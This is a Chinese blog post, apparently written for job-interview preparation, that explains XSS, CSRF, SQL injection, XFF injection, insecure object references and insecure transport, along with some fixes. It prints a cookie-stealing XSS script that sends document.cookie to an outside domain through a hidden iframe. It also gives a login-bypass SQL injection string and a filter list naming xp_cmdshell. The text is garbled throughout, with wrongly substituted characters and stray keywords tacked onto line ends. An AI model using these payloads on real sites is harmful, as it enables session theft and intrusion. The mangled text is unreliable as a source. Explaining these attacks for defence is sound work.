一直以來本身對WEB安全方面的知識瞭解的比較少,最近有點閒工夫瞭解了一下。也是爲了之後面試吧,以前就遇到過問WEB安全方面的問題,答的不是很理想,因此整理了一下!javascript
跨站腳本攻擊(Cross Site Scripting),爲了避免和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫爲XSS。惡意攻擊者往Web頁面裏插入惡意的Script代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的Script代碼會被執行,從而達到惡意攻擊用戶的目的。css
特色:盡一切辦法在目標網站上執行非目標網站上原有的腳本。html
1. Reflected XSS(基於反射的XSS攻擊)前端
非持久型,反射型 XSS 漏洞常見於經過 URL 傳遞參數的功能,如網站搜索、跳轉等。因爲須要用戶主動打開惡意的 URL 才能生效,攻擊者每每會結合多種手段誘導用戶點擊。POST 的內容也能夠觸發反射型 XSS,只不過其觸發條件比較苛刻(須要構造表單提交頁面,並引導用戶點擊),因此很是少見。java
反射型 XSS 的攻擊步驟:mysql
2. Stored XSS(基於存儲的XSS攻擊)面試
持久型,這種攻擊常見於帶有用戶保存數據的網站功能,如論壇發帖、商品評論、用戶私信等。正則表達式
存儲型 XSS 的攻擊步驟:算法
3. DOM-based or local XSS(基於DOM或本地的XSS攻擊)sql
般是提供一個免費的wifi,可是提供免費wifi的網關會往你訪問的任何頁面插入一段腳本或者是直接返回一個釣魚頁面,從而植入惡意腳本。這種直接存在於頁面,無須通過服務器返回就是基於本地的XSS攻擊。
DOM 型 XSS 的攻擊步驟:
使用xss彈出惡意警告框,代碼爲:
<script>alert("xss")</script>
複製代碼
xss輸入也多是html代碼段,若是使網頁不停的刷新,代碼爲:
<meta http-equiv="refresh" content="0;">
複製代碼
嵌入其餘網站連接的代碼爲:
<iframe src="http://www.jsay.org" width=0 height=0></iframe>
<!-- jsay.org 我的小站還沒開始運行哦! -->
複製代碼
JavaScript
寫一個請求跨站的腳本就是XSS了,以下:
<!-- jsay.org 我的小站還沒開始運行哦! -->
<!-- 將此段代碼放在評論/留言框中提交 -->
<script type="text/javascript"> (function(window, document) { // 構造泄露信息用的 URL var cookies = document.cookie; var xssURIBase = "http://www.jsay.org/xss/"; var xssURI = xssURIBase + window.encodeURI(cookies); // 創建隱藏 iframe 用於通信 var hideFrame = document.createElement("iframe"); hideFrame.height = 0; hideFrame.width = 0; hideFrame.style.display = "none"; hideFrame.src = xssURI; // 開工 document.body.appendChild(hideFrame); })(window, document); </script>
複製代碼
思路:對輸入(和URL參數)進行過濾,對輸出進行編碼。也就是對提交的全部內容進行過濾,對url中的參數進行過濾,過濾掉會致使腳本執行的相關內容;而後對動態輸出到頁面的內容進行html編碼,使腳本沒法在瀏覽器中執行。雖然對輸入過濾能夠被繞過,可是也仍是會攔截很大一部分的XSS攻擊。
<>
、/
、&
、'
、"
)進行轉義、過濾,僅接受指定長度範圍內並符合咱們指望格式的的內容提交,阻止或者忽略除此外的其餘任何數據;CSRF(Cross-site request forgery)跨站請求僞造,也被稱爲「One Click Attack」或者Session Riding,一般縮寫爲CSRF或者XSRF,是一種對網站的惡意利用。儘管聽起來像跨站腳本(XSS),但它與XSS很是不一樣,XSS利用站點內的信任用戶,而CSRF則經過假裝成受信任用戶的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊每每不大流行(所以對其進行防範的資源也至關稀少)和難以防範,因此被認爲比XSS更具危險性。
本質緣由:CSRF攻擊是源於Web的隱式身份驗證機制。Web的身份驗證機制雖然能夠保證一個請求是來自於某個用戶的瀏覽器,但卻沒法保證該請求是用戶批准發送的。CSRF攻擊的通常是由服務端解決。
CSRF攻擊條件:
雖然有些時候你訪問B網站的時候,並無訪問A網站,可是你並不能保證以前登陸過A網站的本地Cookie已過時,這個時候B網站同樣是能夠發起攻擊。 CSRF攻擊是源於WEB的隱式身份驗證機制!WEB的身份驗證機制雖然能夠保證一個請求是來自於某個用戶的瀏覽器,但卻沒法保證該請求是用戶批准發送的!
經過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。它是利用現有應用程序,將(惡意的)SQL命令注入到後臺數據庫引擎執行的能力,它能夠經過在Web表單中輸入(惡意)SQL語句獲得一個存在安全漏洞的網站上的數據庫,而不是按照設計者意圖去執行SQL語句。
SQL注入攻擊指的是經過構建特殊的輸入做爲參數傳入Web應用程序,而這些輸入大都是SQL語法裏的一些組合,經過執行SQL語句進而執行攻擊者所要的操做,其主要緣由是程序沒有細緻地過濾用戶輸入的數據,導致非法數據侵入系統。
簡單舉例:
// 前端給後端post鍵值對,登陸的用戶名和密碼
let data = {
username: 'admin',
pwd: 'abc123456'
}
// 後端的sql語句
SELECT * FROM user WHERE username='${username}' AND psw='${pwd}'
複製代碼
這個時候前端的 username
別人輸入 admin' --
;這個時候查詢的 SQL
語句就變成這樣子了:
SELECT * FROM user WHERE username='admin' -- AND psw='${pwd}'
複製代碼
Ps: --
在SQL語句裏面是註釋,也就是說登陸的查詢條件變成了不須要驗證密碼!
X-Forwarded-for的縮寫,XFF注入是SQL注入的一種,該注入原理是經過修改X-Forwarded-for頭對帶入系統的dns進行sql注入,從而獲得網站的數據庫內容。
過濾http頭中的X-Forwarded-for header中的內容,不容許其插入敏感字符,過濾字符參考sql注入修復方案。
過濾如下敏感字符。須要過濾的特殊字符及字符串有:
net user
xp_cmdshell
add
exec master.dbo.xp_cmdshell
net localgroup administrators
select
count
Asc
char
mid
' : " insert delete from drop table update truncate from % 複製代碼
當開發人員公開對內部實現對象的引用(例如URL或FORM參數中的文件,目錄或數據庫鍵)時,就會發生這種狀況。攻擊者可使用此信息訪問其餘對象,並能夠建立未來的攻擊來訪問未經受權的數據。
簡單舉例: 更改如下URL中的 userid
可使攻擊者查看其餘用戶的信息。 http://www.jsay.org/userid=123
修改成 http://www.jsay.org/userid=124
攻擊者能夠經過更改用戶標識值來查看其餘信息。或者文件容許下載訪問 http://www.jsay.org/a.txt
,可是經過 http://www.jsay.org/b.txt
能夠看到不容許訪問的文件!
處理用戶(客戶端)和服務器(應用程序)之間的信息交換。應用程序常常經過網絡傳輸敏感信息,如身份驗證詳細信息,信用卡信息和會話令牌。經過使用弱算法或使用過時或無效的證書或不使用SSL,能夠容許將通訊暴露給不受信任的用戶,這可能會危及Web應用程序和/或竊取敏感信息。
我本身運營的公衆號,記錄我本身的成長
公衆號:前端曰
公衆號ID:js-say
ps:是(yue)不是(ri)